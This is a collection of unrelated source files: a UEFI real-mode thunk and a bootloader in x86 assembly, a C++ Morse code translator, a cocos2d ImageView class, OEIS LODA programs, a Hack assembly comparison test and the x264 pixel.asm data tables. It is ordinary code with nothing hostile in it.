DB 66h, 0bah ; mov edx, imm32
_ThunkAttr DD ?
test dl, THUNK_ATTRIBUTE_DISABLE_A20_MASK_INT_15
jz @1
mov eax, 15cd2401h ; mov ax, 2401h & int 15h
cli ; disable interrupts
jnc @2
@1:
test dl, THUNK_ATTRIBUTE_DISABLE_A20_MASK_KBD_CTRL
jz @2
in al, 92h
or al, 2
out 92h, al ; deactivate A20M#
@2:
xor ax, ax ; xor eax, eax
mov eax, ss ; mov ax, ss
lea bp, [esp + sizeof (IA32_REGS)]
;
; rsi in the following 2 instructions is indeed bp in 16-bit code
;
mov word ptr (IA32_REGS ptr [rsi - sizeof (IA32_REGS)])._ESP, bp
DB 66h
mov ebx, (IA32_REGS ptr [rsi - sizeof (IA32_REGS)])._EIP
shl ax, 4 ; shl eax, 4
add bp, ax ; add ebp, eax
mov ax, cs
shl ax, 4
lea ax, [eax + ebx + (@64BitCode - @Base)]
DB 66h, 2eh, 89h, 87h ; mov cs:[bx + (@64Eip - @Base)], eax
DW @64Eip - @Base
DB 66h, 0b8h ; mov eax, imm32
SavedCr4 DD ?
mov cr4, rax
;
; rdi in the instruction below is indeed bx in 16-bit code
;
DB 66h, 2eh ; 2eh is "cs:" segment override
lgdt fword ptr [rdi + (SavedGdt - @Base)]
DB 66h
mov ecx, 0c0000080h
rdmsr
or ah, 1
wrmsr
DB 66h, 0b8h ; mov eax, imm32
SavedCr0 DD ?
mov cr0, rax
DB 66h, 0eah ; jmp far cs:@64Bit
@64Eip DD ?
SavedCs DW ?
@64BitCode:
db 090h
db 067h, 0bch ; mov esp, imm32
SavedSp DD ? ; restore stack
nop
ret
_BackFromUserCode ENDP
_EntryPoint DD _ToUserCode - m16Start
DW CODE16
_16Gdtr LABEL FWORD
DW GDT_SIZE - 1
_16GdtrBase DQ _NullSeg
_16Idtr FWORD (1 SHL 10) - 1
;------------------------------------------------------------------------------
; _ToUserCode() takes control in real mode before passing control to user code.
; It will be shadowed to somewhere in memory below 1MB.
;------------------------------------------------------------------------------
_ToUserCode PROC
mov ss, edx ; set new segment selectors
mov ds, edx
mov es, edx
mov fs, edx
mov gs, edx
DB 66h
mov ecx, 0c0000080h
mov cr0, rax ; real mode starts at next instruction
rdmsr
and ah, NOT 1
wrmsr
mov cr4, rbp
mov ss, esi ; set up 16-bit stack segment
mov sp, bx ; set up 16-bit stack pointer
DB 66h ; make the following call 32-bit
call @Base ; push eip
@Base:
pop bp ; ebp <- address of @Base
push [esp + sizeof (IA32_REGS) + 2]
lea eax, [rsi + (@RealMode - @Base)] ; rsi is "bp" in 16-bit code
push rax
retf ; execution begins at next instruction
@RealMode:
DB 66h, 2eh ; CS and operand size override
lidt fword ptr [rsi + (_16Idtr - @Base)]
DB 66h, 61h ; popad
DB 1fh ; pop ds
DB 07h ; pop es
pop fs
pop gs
popf ; popfd
lea sp, [esp + 4] ; skip high order 32 bits of EFlags
DB 66h ; make the following retf 32-bit
retf ; transfer control to user code
_ToUserCode ENDP
CODE16 = _16Code - $
DATA16 = _16Data - $
DATA32 = _32Data - $
_NullSeg DQ 0
_16Code LABEL QWORD
DW -1
DW 0
DB 0
DB 9bh
DB 8fh ; 16-bit segment, 4GB limit
DB 0
_16Data LABEL QWORD
DW -1
DW 0
DB 0
DB 93h
DB 8fh ; 16-bit segment, 4GB limit
DB 0
_32Data LABEL QWORD
DW -1
DW 0
DB 0
DB 93h
DB 0cfh ; 16-bit segment, 4GB limit
DB 0
GDT_SIZE = $ - _NullSeg
;------------------------------------------------------------------------------
; IA32_REGISTER_SET *
; EFIAPI
; InternalAsmThunk16 (
; IN IA32_REGISTER_SET *RegisterSet,
; IN OUT VOID *Transition
; );
;------------------------------------------------------------------------------
InternalAsmThunk16 PROC USES rbp rbx rsi rdi
mov rbx, ds
push rbx ; Save ds segment register on the stack
mov rbx, es
push rbx ; Save es segment register on the stack
mov rbx, ss
push rbx ; Save ss segment register on the stack
push fs
push gs
mov rsi, rcx
movzx r8d, (IA32_REGS ptr [rsi])._SS
mov edi, (IA32_REGS ptr [rsi])._ESP
lea rdi, [edi - (sizeof (IA32_REGS) + 4)]
imul eax, r8d, 16 ; eax <- r8d(stack segment) * 16
mov ebx, edi ; ebx <- stack for 16-bit code
push sizeof (IA32_REGS) / 4
add edi, eax ; edi <- linear address of 16-bit stack
pop rcx
rep movsd ; copy RegSet
lea ecx, [rdx + (SavedCr4 - m16Start)]
mov eax, edx ; eax <- transition code address
and edx, 0fh
shl eax, 12 ; segment address in high order 16 bits
lea ax, [rdx + (_BackFromUserCode - m16Start)] ; offset address
stosd ; [edi] <- return address of user code
sgdt fword ptr [rcx + (SavedGdt - SavedCr4)]
sidt fword ptr [rsp + 50h] ; save IDT stack in argument space
mov rax, cr0
mov [rcx + (SavedCr0 - SavedCr4)], eax
and eax, 7ffffffeh ; clear PE, PG bits
mov rbp, cr4
mov [rcx], ebp ; save CR4 in SavedCr4
and ebp, 300h ; clear all but PCE and OSFXSR bits
mov esi, r8d ; esi <- 16-bit stack segment
DB 6ah, DATA32 ; push DATA32
pop rdx ; rdx <- 32-bit data segment selector
lgdt fword ptr [rcx + (_16Gdtr - SavedCr4)]
mov ss, edx
pushfq
lea edx, [rdx + DATA16 - DATA32]
lea r8, @RetFromRealMode
push r8
mov r8d, cs
mov [rcx + (SavedCs - SavedCr4)], r8w
mov [rcx + (SavedSp - SavedCr4)], esp
jmp fword ptr [rcx + (_EntryPoint - SavedCr4)]
@RetFromRealMode:
popfq
lidt fword ptr [rsp + 50h] ; restore protected mode IDTR
lea eax, [rbp - sizeof (IA32_REGS)]
pop gs
pop fs
pop rbx
mov ss, rbx
pop rbx
mov es, rbx
pop rbx
mov ds, rbx
ret
InternalAsmThunk16 ENDP
END
|
bits 16
section .entry
; c start
extern _start
; sections
extern __bss_start
extern __end
global entry
entry:
cli
; setup segments
mov ax, 0
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; setup stack at 0xFFF0
mov esp, 0xFFF0
mov ebp, esp
sti
; expect boot drive in dl, send it as argument to cstart function
mov [g_BootDrive], dl
;
; switch to protected mode
;
cli
call x86_EnableA20
call x86_LoadGDT
; set "protection enable" flag in control register 0
mov eax, cr0
or al, 1
mov cr0, eax
; far jump into protected mode
jmp dword 08h:.pmode
.pmode:
[bits 32]
; load segments
mov ax, 10h
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; zero bss
mov edi, __bss_start
mov ecx, __end
sub ecx, __bss_start
mov al, 0
cld
rep stosb ; repeats instruction decrementing ECX until zero
; and stores value from AL incrementing ES:EDI
; call C
push dword[g_BootDrive]
call _start
cli
hlt
;
; Enables A20 gate
;
x86_EnableA20:
[bits 16]
; disable keyboard
call x86_A20WaitInput
mov al, KbdControllerDisableKeyboard
out KbdControllerCommandPort, al
; read control output port
call x86_A20WaitInput
mov al, KbdControllerReadCtrlOutputPort
out KbdControllerCommandPort, al
call x86_A20WaitOutput
in al, KbdControllerDataPort
push eax
; write control output port
call x86_A20WaitInput
mov al, KbdControllerWriteCtrlOutputPort
out KbdControllerCommandPort, al
call x86_A20WaitInput
pop eax
or al, 2 ; set bit 2 - a20 bit
out KbdControllerDataPort, al
; enable keyboard
call x86_A20WaitInput
mov al, KbdControllerEnableKeyboard
out KbdControllerCommandPort, al
call x86_A20WaitInput
ret
x86_A20WaitInput:
; wait until status bit 2 (input buffer) is 0
in al, KbdControllerCommandPort
test al, 2
jnz x86_A20WaitInput
ret
x86_A20WaitOutput:
; wait until status bit 1 (output buffer) is 1 so it can be read
in al, KbdControllerCommandPort
test al, 1
jz x86_A20WaitOutput
ret
;
; Load protected mode GDT
;
x86_LoadGDT:
[bits 16]
lgdt [g_GDTDesc]
ret
g_BootDrive: dd 0
g_GDT: ; NULL descriptor
dq 0
; 32-bit code segment
dw 0FFFFh ; limit low - 0xfffff for full 4gb address space
dw 0 ; base (bits 0-15) - 0x0
db 0 ; base (bits 16-23)
db 10011010b ; access (present, ring 0, code segment, executable, direction 0, readable)
db 11001111b ; granularity (4kb pages, 32-bit protected mode) + limit high (0xF)
db 0 ; base high
; 32-bit data segment
dw 0FFFFh ; limit low - 0xfffff for full 4gb address space
dw 0 ; base (bits 0-15) - 0x0
db 0 ; base (bits 16-23)
db 10010010b ; access (present, ring 0, data segment, executable, direction 0, writable)
db 11001111b ; granularity (4kb pages, 32-bit protected mode) + limit high (0xF)
db 0 ; base high
; 16-bit code segment
dw 0FFFFh ; limit low - 0xfffff
dw 0 ; base (bits 0-15) - 0x0
db 0 ; base (bits 16-23)
db 10011010b ; access (present, ring 0, code segment, executable, direction 0, readable)
db 00001111b ; granularity (1b pages, 16-bit real mode) + limit high (0xF)
db 0 ; base high
; 16-bit data segment
dw 0FFFFh ; limit low - 0xfffff
dw 0 ; base (bits 0-15) - 0x0
db 0 ; base (bits 16-23)
db 10010010b ; access (present, ring 0, data segment, executable, direction 0, writable)
db 00001111b ; granularity (1b pages, 16-bit real mode) + limit high (0xF)
db 0 ; base high
g_GDTDesc: dw g_GDTDesc - g_GDT - 1 ; limit = size of GDT
dd g_GDT ; base of GDT
KbdControllerDataPort equ 0x60
KbdControllerCommandPort equ 0x64
KbdControllerDisableKeyboard equ 0xAD
KbdControllerEnableKeyboard equ 0xAE
KbdControllerReadCtrlOutputPort equ 0xD0
KbdControllerWriteCtrlOutputPort equ 0xD1
|
#include "heads.h"//常规头文件
void input();
void translator();//使用map进行翻译
void select(string cutter,string information,int num_c,int num,int start);//递归筛选
vector<string> target,translated;
void input()
{
bool control[5] = {true}; //嵌套控制变量 由小到大依次控制向深层的嵌套
fstream operate;
bool space=false;
string cutter, file_name, asker;
while (control[0])
{
cout << "请输入分割符" << endl;
cout << "注:若要将空格作为分割符,请输入 space*[空格个数]" << endl;
cout << "例:若要 2个空格作为分隔符 则输入 space*2" << endl;
cout << "若要将回车作为分隔符,则输入enter" << endl;
cout << "请输入..." << endl;
cin >> cutter;
cout << "请输入要读取的摩斯密码所在的文件名" << endl;
cout << "请输入..." << endl;
cin >> file_name;
control[1] = true;
if(cutter.find("space*")!=cutter.npos&&cutter.size()==7)//如果可能使用空格作为分隔符
{
string check_space="space*";
for(int num=0;num<6;num++)
{
if(cutter[num]!=check_space[num])
{
break;
}
if(num==5)
{
space=true;
}
}
if(space==true)
{
if((int)cutter[6]-48==0)//如果用space*0作为分隔符
{
cout<<"space*0 不适用"<<endl<<"请重新输入"<<endl;//N/A
continue;
}
}
}
while (control[1])
{
cout << "分隔符为" << endl
<< cutter << endl
<< "文件名为:" << endl
<< file_name << endl
<< "是否重新输入?(y/n)" << endl;//再次询问
cin >> asker;
if (asker.compare("y") == 0)
{
cout << "您已选择重新输入" << endl
<< endl;
control[1] = false;
continue;
}
else
{
if (asker.compare("n") == 0)
{
control[0] = false;
control[1] = false;
continue;
}
else
{
cout << "您的指令无效..." << endl;//指令无效重新输入
continue;
}
}
}
}
control[0] = true;
cout << "读取中..." << endl
<< endl;
operate.open(file_name, ios::in);
if (operate.fail())
{
cout << "读取文件失败!"<<endl<<"请检查文件名是否有误!"<<endl;
cout<<"文件名:"<<endl<<file_name<<endl;
cout<<"请再次输入文件名..."<<endl<<"请输入..."<<endl;
cin>>file_name;
operate.open(file_name, ios::in);
if(operate.fail())
{
cout<<"文件名再次出错!"<<endl<<"正在退出程序..."<<endl;
Sleep(3000);
exit(-1);
}
}
if(cutter.compare("enter")!=0)
{
string information;//文件内的莫斯密码以及其分隔符
getline(operate,information);
//cout<<information<<endl;//ok
//cout<<information.size()<<endl;
if(space==true)
{
int nums=(int)cutter[6]-48;//获取要几个空格
cutter.clear();
for(int counter=0;counter<nums;counter++)//使用空格作为分隔符
{
cutter+=" ";
}
//cout<<cutter.size()<<endl;
//cout<<"cutter:"<<cutter<<"!"<<endl;
}
else
{
for(int counter=0;counter<information.size();counter++)//如果不使用空格作为分隔符 则清楚所有的空格
{
if(information[counter]==' ')
{
information.erase(counter,1);
}
}
//cout<<information<<endl;
}
select(cutter, information, 0, 0, 0);
//cout<<target.size()<<endl;
/*
for(int num=0;num<target.size();num++)
{
cout<<endl<<target[num]<<num<<endl;
}
*/
for (int counter = 0; counter < target.size(); counter++) //即使使用空格作为分隔符 筛选后清除空格防止干扰翻译
{
//cout<<target[counter]<<target[counter].size()<<endl;
for (int num = 0; num < target[counter].size(); num++)
{
//cout<<num<<endl;
//cout<<"in"<<endl;
//cout<<target[counter][num]<<"!"<<endl;
if (target[counter][num] == ' ')
{
//cout<<"!"<<endl;
target[counter].erase(num, 1);
}
}
if (target[counter].size() == 0)
{
//cout << "0" << endl;
vector<string>::iterator it;
it = target.begin() + counter;
target.erase(it); //!!!在消去元素的同时 容器本身的大小也在变小 !!!2021 07 .06 0.00
counter--;
}
}
/*
for(int k=0;k<target.size();k++)
{
cout<<target[k]<<endl;
}
*/
translator();
}
else
{
string information;
while(getline(operate,information))//若使用回车作为分隔符 直接getline 读取
{
//cout<<information<<endl;
target.push_back(information);
}
translator();
}
}
void translator()
{
map<string, string> morse_code = {
{".-", "A"}, {"-...", "B"}, {"-.-.", "C"},
{"-..", "D"}, {".", "E"}, {"..-.", "F"},
{"--.", "G"}, {"....", "H"}, {"..", "I"},
{".---", "J"}, {"-.-", "K"}, {".-..", "L"},
{"--", "M"}, {"-.", "N"}, {"---", "O"},
{".--.", "P"}, {"--.-", "Q"}, {".-.", "R"},
{"...", "S"}, {"-", "T"}, {"..-", "U"},
{"...-", "V"}, {".--", "W"}, {"-..-", "X"},
{"-.--", "Y"}, {"--..", "Z"}, {".----", "1"},
{"..---", "2"}, {"...--", "3"}, {"....-", "4"},
{".....", "5"}, {"-....", "6"}, {"--...", "7"},
{"---..", "8"}, {"----.", "9"}, {"-----", "0"},
{"..--..", "?"}, {"-..-.", "/"}, {"-.--.-", "()"},
{"-....-", "-"}, {"---...",":"},{"-.-.-.",";"},
{"..--..","?"},{"-...-","="},{".----.","'"},
{"-..-.","/"},{"-.-.--","!"},{"-....-","-"},
{"..--.-","_"},{".-..-.","\""},{"-.--.","("},
{"-.--.-",")"},{"...-..-","$"},{"....","&"},
{".--.-.","@"},{".-.-.","AR"},{".-...","AS"},
{"...-.-","SK"},{"-...-","BT"},{".-.-.-", "."}};
map<string,string>::iterator it;//迭代器
for (int pos_T = 0; pos_T < target.size(); pos_T++)
{
it=morse_code.find(target[pos_T]);
if(it!=morse_code.end())
{
cout<<it->second;
}
else
{
if(target[pos_T].compare(".-.-.-")==0)
{
cout<<".";
}
else
{
cout<<endl<<"无法翻译:"<<endl<<target[pos_T]<<endl;
cout<<"请检查翻译内容是否有多加了空格的现象!"<<endl;
}
}
}
}
void select(string cutter, string information, int num_c, int num, int start)
{
/*
cout << "cutter:" << endl
<< cutter << endl;
cout << "information:" << endl
<< information << endl;
cout << "当前start" << endl
<< start << endl;
cout << "当前num_c" << endl
<< num_c << endl;
cout << "当前num" << endl
<< num << endl;
cout<<"information size"<<endl<<information.size()<<endl;
*/
if (cutter[num_c] == information[num])
{
num_c++;
if (num_c == cutter.size()) //如果情况为真,则表明完整的分隔符被发现
{
/*
cout << "true!!" << endl
<< endl;
*/
num_c = 0;
string deliver;
for (; start < num - cutter.size() +1; start++)
{
// cout << information[start] << endl;
deliver += information[start];
}
start += cutter.size();
/*
cout << endl
<< deliver << endl;
*/
target.push_back(deliver);
deliver.clear();
num++;
if (num >= information.size())
{
return;
}
select(cutter, information, num_c, num, start);
}
else
{
num++;
select(cutter, information, num_c, num, start);
}
}
else
{
num_c = 0;
num++;
if (num >= information.size())
{
string deliver;
for (; start < num; start++)
{
//cout << information[start] << endl;
deliver += information[start];
}
start += cutter.size();
/*
cout << endl
<< deliver << endl;
*/
target.push_back(deliver);
deliver.clear();
return;
}
select(cutter, information, num_c, num, start);
}
} |
SECTION code_fp_math16
PUBLIC _sinf16_fastcall
EXTERN sinf16
defc _sinf16_fastcall = sinf16
|
/****************************************************************************
Copyright (c) 2013-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include "ui/UIImageView.h"
#include "ui/UIScale9Sprite.h"
#include "ui/UIHelper.h"
#include "2d/CCSprite.h"
NS_CC_BEGIN
namespace ui
{
static const int IMAGE_RENDERER_Z = (-1);
IMPLEMENT_CLASS_GUI_INFO(ImageView)
ImageView::ImageView()
: _scale9Enabled(false)
, _prevIgnoreSize(true)
, _capInsets(Rect::ZERO)
, _imageRenderer(nullptr)
, _imageTexType(TextureResType::LOCAL)
, _imageTextureSize(_contentSize)
, _imageRendererAdaptDirty(true)
, _textureFile("")
{}
ImageView::~ImageView() {}
ImageView* ImageView::create(std::string_view imageFileName, TextureResType texType)
{
ImageView* widget = new ImageView();
if (widget->init(imageFileName, texType))
{
widget->autorelease();
return widget;
}
CC_SAFE_DELETE(widget);
return nullptr;
}
ImageView* ImageView::create()
{
ImageView* widget = new ImageView();
if (widget->init())
{
widget->autorelease();
return widget;
}
CC_SAFE_DELETE(widget);
return nullptr;
}
bool ImageView::init()
{
bool ret = true;
do
{
if (!Widget::init())
{
ret = false;
break;
}
_imageTexType = TextureResType::LOCAL;
} while (0);
return ret;
}
bool ImageView::init(std::string_view imageFileName, TextureResType texType)
{
bool bRet = true;
do
{
if (!Widget::init())
{
bRet = false;
break;
}
this->loadTexture(imageFileName, texType);
} while (0);
return bRet;
}
void ImageView::initRenderer()
{
_imageRenderer = Scale9Sprite::create();
_imageRenderer->setRenderingType(Scale9Sprite::RenderingType::SIMPLE);
addProtectedChild(_imageRenderer, IMAGE_RENDERER_Z, -1);
}
void ImageView::loadTexture(std::string_view fileName, TextureResType texType)
{
if (fileName.empty())
{
return;
}
_textureFile = fileName;
_imageTexType = texType;
switch (_imageTexType)
{
case TextureResType::LOCAL:
_imageRenderer->initWithFile(fileName);
break;
case TextureResType::PLIST:
_imageRenderer->initWithSpriteFrameName(fileName);
break;
default:
break;
}
// FIXME: https://github.com/cocos2d/cocos2d-x/issues/12249
if (!_ignoreSize && _customSize.equals(Vec2::ZERO))
{
_customSize = _imageRenderer->getContentSize();
}
this->setupTexture();
}
void ImageView::loadTexture(SpriteFrame* spriteframe)
{
_imageRenderer->initWithSpriteFrame(spriteframe);
this->setupTexture();
}
void ImageView::setupTexture()
{
_imageTextureSize = _imageRenderer->getContentSize();
this->updateChildrenDisplayedRGBA();
updateContentSizeWithTextureSize(_imageTextureSize);
_imageRendererAdaptDirty = true;
}
void ImageView::setTextureRect(const Rect& rect)
{
// This API should be refactor
if (_scale9Enabled)
{}
else
{
auto sprite = _imageRenderer->getSprite();
if (sprite)
{
sprite->setTextureRect(rect);
}
else
{
CCLOG("Warning!! you should load texture before set the texture's rect!");
}
}
}
void ImageView::setScale9Enabled(bool able)
{
if (_scale9Enabled == able)
{
return;
}
_scale9Enabled = able;
if (_scale9Enabled)
{
_imageRenderer->setRenderingType(Scale9Sprite::RenderingType::SLICE);
}
else
{
_imageRenderer->setRenderingType(Scale9Sprite::RenderingType::SIMPLE);
}
if (_scale9Enabled)
{
bool ignoreBefore = _ignoreSize;
ignoreContentAdaptWithSize(false);
_prevIgnoreSize = ignoreBefore;
}
else
{
ignoreContentAdaptWithSize(_prevIgnoreSize);
}
setCapInsets(_capInsets);
_imageRendererAdaptDirty = true;
}
bool ImageView::isScale9Enabled() const
{
return _scale9Enabled;
}
void ImageView::ignoreContentAdaptWithSize(bool ignore)
{
if (!_scale9Enabled || (_scale9Enabled && !ignore))
{
Widget::ignoreContentAdaptWithSize(ignore);
_prevIgnoreSize = ignore;
}
}
void ImageView::setCapInsets(const Rect& capInsets)
{
_capInsets = ui::Helper::restrictCapInsetRect(capInsets, _imageTextureSize);
if (!_scale9Enabled)
{
return;
}
_imageRenderer->setCapInsets(_capInsets);
}
const Rect& ImageView::getCapInsets() const
{
return _capInsets;
}
void ImageView::onSizeChanged()
{
Widget::onSizeChanged();
_imageRendererAdaptDirty = true;
}
void ImageView::adaptRenderers()
{
if (_imageRendererAdaptDirty)
{
imageTextureScaleChangedWithSize();
_imageRendererAdaptDirty = false;
}
}
Vec2 ImageView::getVirtualRendererSize() const
{
return _imageTextureSize;
}
Node* ImageView::getVirtualRenderer()
{
return _imageRenderer;
}
void ImageView::imageTextureScaleChangedWithSize()
{
_imageRenderer->setPreferredSize(_contentSize);
_imageRenderer->setPosition(_contentSize.width / 2.0f, _contentSize.height / 2.0f);
}
std::string ImageView::getDescription() const
{
return "ImageView";
}
Widget* ImageView::createCloneInstance()
{
return ImageView::create();
}
void ImageView::copySpecialProperties(Widget* widget)
{
ImageView* imageView = dynamic_cast<ImageView*>(widget);
if (imageView)
{
_prevIgnoreSize = imageView->_prevIgnoreSize;
setScale9Enabled(imageView->_scale9Enabled);
auto imageSprite = imageView->_imageRenderer->getSprite();
if (nullptr != imageSprite)
{
loadTexture(imageSprite->getSpriteFrame());
}
setCapInsets(imageView->_capInsets);
}
}
ResourceData ImageView::getRenderFile()
{
ResourceData rData;
rData.type = (int)_imageTexType;
rData.file = _textureFile;
return rData;
}
void ImageView::setBlendFunc(const BlendFunc& blendFunc)
{
_imageRenderer->setBlendFunc(blendFunc);
}
const BlendFunc& ImageView::getBlendFunc() const
{
return _imageRenderer->getBlendFunc();
}
} // namespace ui
NS_CC_END
|
; A131215: Numbers which are both 11-gonal and centered 11-gonal.
; Submitted by Christian Krause
; 1,606,241396,96075211,38237692791,15218505655816,6056927013322186,2410641732796574421,959429352726023297581,381850471743224475863026,151975528324450615370186976,60485878422659601692858553631,24073227636690197023142334158371,9581084113524275755608956136478236,3813247403955025060535341399984179766,1517662885689986449817310268237567068841,604026015257210652002228951417151709219161,240400836409484149510437305353758142702157446,95678928864959434294502045301844323643749444556
mov $3,1
lpb $0
sub $0,1
mov $1,$3
mul $1,18
add $2,$1
add $3,$2
lpe
pow $3,2
mov $0,$3
div $0,360
mul $0,605
add $0,1
|
; A215781: a(n) = ceiling(n*(sqrt(3)-1)).
; Submitted by Jamie Morken(s1)
; 0,1,2,3,3,4,5,6,6,7,8,9,9,10,11,11,12,13,14,14,15,16,17,17,18,19,20,20,21,22,22,23,24,25,25,26,27,28,28,29,30,31,31,32,33,33,34,35,36,36,37,38,39,39,40,41,41,42,43,44,44,45,46,47,47,48,49,50,50,51,52,52,53,54,55,55,56,57,58,58,59,60,61,61,62,63,63,64,65,66,66,67,68,69,69,70,71,72,72,73
mov $2,$0
seq $0,198081 ; Ceiling(n*Sqrt(3)).
sub $0,$2
|
// Initialize stack pointer to start at 256 (i.e. RAM[0] contains 256)
@256
D=A
@SP
M=D
// Push two numbers on the stack. 8 < 9 -> -1
@8
D=A
@SP
A=M
M=D
@SP
M=M+1
@9
D=A
@SP
A=M
M=D
@SP
M=M+1
// Less than check
@SP
M=M-1
A=M
D=M
@SP
M=M-1
A=M
D=M-D
@NOT_LT_0
D;JGE
(LT_0)
@SP
A=M
M=-1
@LT_END_0
0;JMP
(NOT_LT_0)
@SP
A=M
M=0
@LT_END_0
0;JMP
(LT_END_0)
@SP
M=M+1
// Push two numbers on the stack. 9 !< 8 -> 0
@9
D=A
@SP
A=M
M=D
@SP
M=M+1
@8
D=A
@SP
A=M
M=D
@SP
M=M+1
// Less than check
@SP
M=M-1
A=M
D=M
@SP
M=M-1
A=M
D=M-D
@NOT_LT_1
D;JGE
(LT_1)
@SP
A=M
M=-1
@LT_END_1
0;JMP
(NOT_LT_1)
@SP
A=M
M=0
@LT_END_1
0;JMP
(LT_END_1)
@SP
M=M+1
// Push two numbers on the stack. 69 !< 69 -> 0
@69
D=A
@SP
A=M
M=D
@SP
M=M+1
@69
D=A
@SP
A=M
M=D
@SP
M=M+1
// Less than check
@SP
M=M-1
A=M
D=M
@SP
M=M-1
A=M
D=M-D
@NOT_LT_2
D;JGE
(LT_2)
@SP
A=M
M=-1
@LT_END_2
0;JMP
(NOT_LT_2)
@SP
A=M
M=0
@LT_END_2
0;JMP
(LT_END_2)
@SP
M=M+1
|
;*****************************************************************************
;* pixel.asm: x86 pixel metrics
;*****************************************************************************
;* Copyright (C) 2003-2012 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Holger Lubitz <holger@lubitz.org>
;* Laurent Aimar <fenrir@via.ecp.fr>
;* Alex Izvorski <aizvorksi@gmail.com>
;* Jason Garrett-Glaser <darkshikari@gmail.com>
;* Oskar Arvidsson <oskar@irock.se>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at licensing@x264.com.
;*****************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
SECTION_RODATA 32
mask_ff: times 16 db 0xff
times 16 db 0
%if BIT_DEPTH == 10
ssim_c1: times 4 dd 6697.7856 ; .01*.01*1023*1023*64
ssim_c2: times 4 dd 3797644.4352 ; .03*.03*1023*1023*64*63
pf_64: times 4 dd 64.0
pf_128: times 4 dd 128.0
%elif BIT_DEPTH == 9
ssim_c1: times 4 dd 1671 ; .01*.01*511*511*64
ssim_c2: times 4 dd 947556 ; .03*.03*511*511*64*63
%else ; 8-bit
ssim_c1: times 4 dd 416 ; .01*.01*255*255*64
ssim_c2: times 4 dd 235963 ; .03*.03*255*255*64*63
%endif
mask_ac4: dw 0, -1, -1, -1, 0, -1, -1, -1
mask_ac4b: dw 0, -1, 0, -1, -1, -1, -1, -1
mask_ac8: dw 0, -1, -1, -1, -1, -1, -1, -1
hmul_4p: times 2 db 1, 1, 1, 1, 1, -1, 1, -1
hmul_8p: times 8 db 1
times 4 db 1, -1
mask_10: times 4 dw 0, -1
mask_1100: times 2 dd 0, -1
pb_pppm: times 4 db 1,1,1,-1
deinterleave_shuf: db 0, 2, 4, 6, 8, 10, 12, 14, 1, 3, 5, 7, 9, 11, 13, 15
intrax3_shuf: db 7,6,7,6,5,4,5,4,3,2,3,2,1,0,1,0
intrax9a_ddlr1: db 6, 7, 8, 9, 7, 8, 9,10, 4, 5, 6, 7, 3, 4, 5, 6
intrax9a_ddlr2: db 8, 9,10,11, 9,10,11,12, 2, 3, 4, 5, 1, 2, 3, 4
intrax9a_hdu1: db 15, 4, 5, 6,14, 3,15, 4,14, 2,13, 1,13, 1,12, 0
intrax9a_hdu2: db 13, 2,14, 3,12, 1,13, 2,12, 0,11,11,11,11,11,11
intrax9a_vrl1: db 10,11,12,13, 3, 4, 5, 6,11,12,13,14, 5, 6, 7, 8
intrax9a_vrl2: db 2,10,11,12, 1, 3, 4, 5,12,13,14,15, 6, 7, 8, 9
intrax9a_vh1: db 6, 7, 8, 9, 6, 7, 8, 9, 4, 4, 4, 4, 3, 3, 3, 3
intrax9a_vh2: db 6, 7, 8, 9, 6, 7, 8, 9, 2, 2, 2, 2, 1, 1, 1, 1
intrax9a_dc: db 1, 2, 3, 4, 6, 7, 8, 9,-1,-1,-1,-1,-1,-1,-1,-1
intrax9a_lut: db 0x60,0x68,0x80,0x00,0x08,0x20,0x40,0x28,0x48,0,0,0,0,0,0,0
pw_s01234567: dw 0x8000,0x8001,0x8002,0x8003,0x8004,0x8005,0x8006,0x8007
pw_s01234657: dw 0x8000,0x8001,0x8002,0x8003,0x8004,0x8006,0x8005,0x8007
intrax9_edge: db 0, 0, 1, 2, 3, 7, 8, 9,10,11,12,13,14,15,15,15
intrax9b_ddlr1: db 6, 7, 8, 9, 4, 5, 6, 7, 7, 8, 9,10, 3, 4, 5, 6
intrax9b_ddlr2: db 8, 9,10,11, 2, 3, 4, 5, 9,10,11,12, 1, 2, 3, 4
intrax9b_hdu1: db 15, 4, 5, 6,14, 2,13, 1,14, 3,15, 4,13, 1,12, 0
intrax9b_hdu2: db 13, 2,14, 3,12, 0,11,11,12, 1,13, 2,11,11,11,11
intrax9b_vrl1: db 10,11,12,13,11,12,13,14, 3, 4, 5, 6, 5, 6, 7, 8
intrax9b_vrl2: db 2,10,11,12,12,13,14,15, 1, 3, 4, 5, 6, 7, 8, 9
intrax9b_vh1: db 6, 7, 8, 9, 4, 4, 4, 4, 6, 7, 8, 9, 3, 3, 3, 3
intrax9b_vh2: db 6, 7, 8, 9, 2, 2, 2, 2, 6, 7, 8, 9, 1, 1, 1, 1
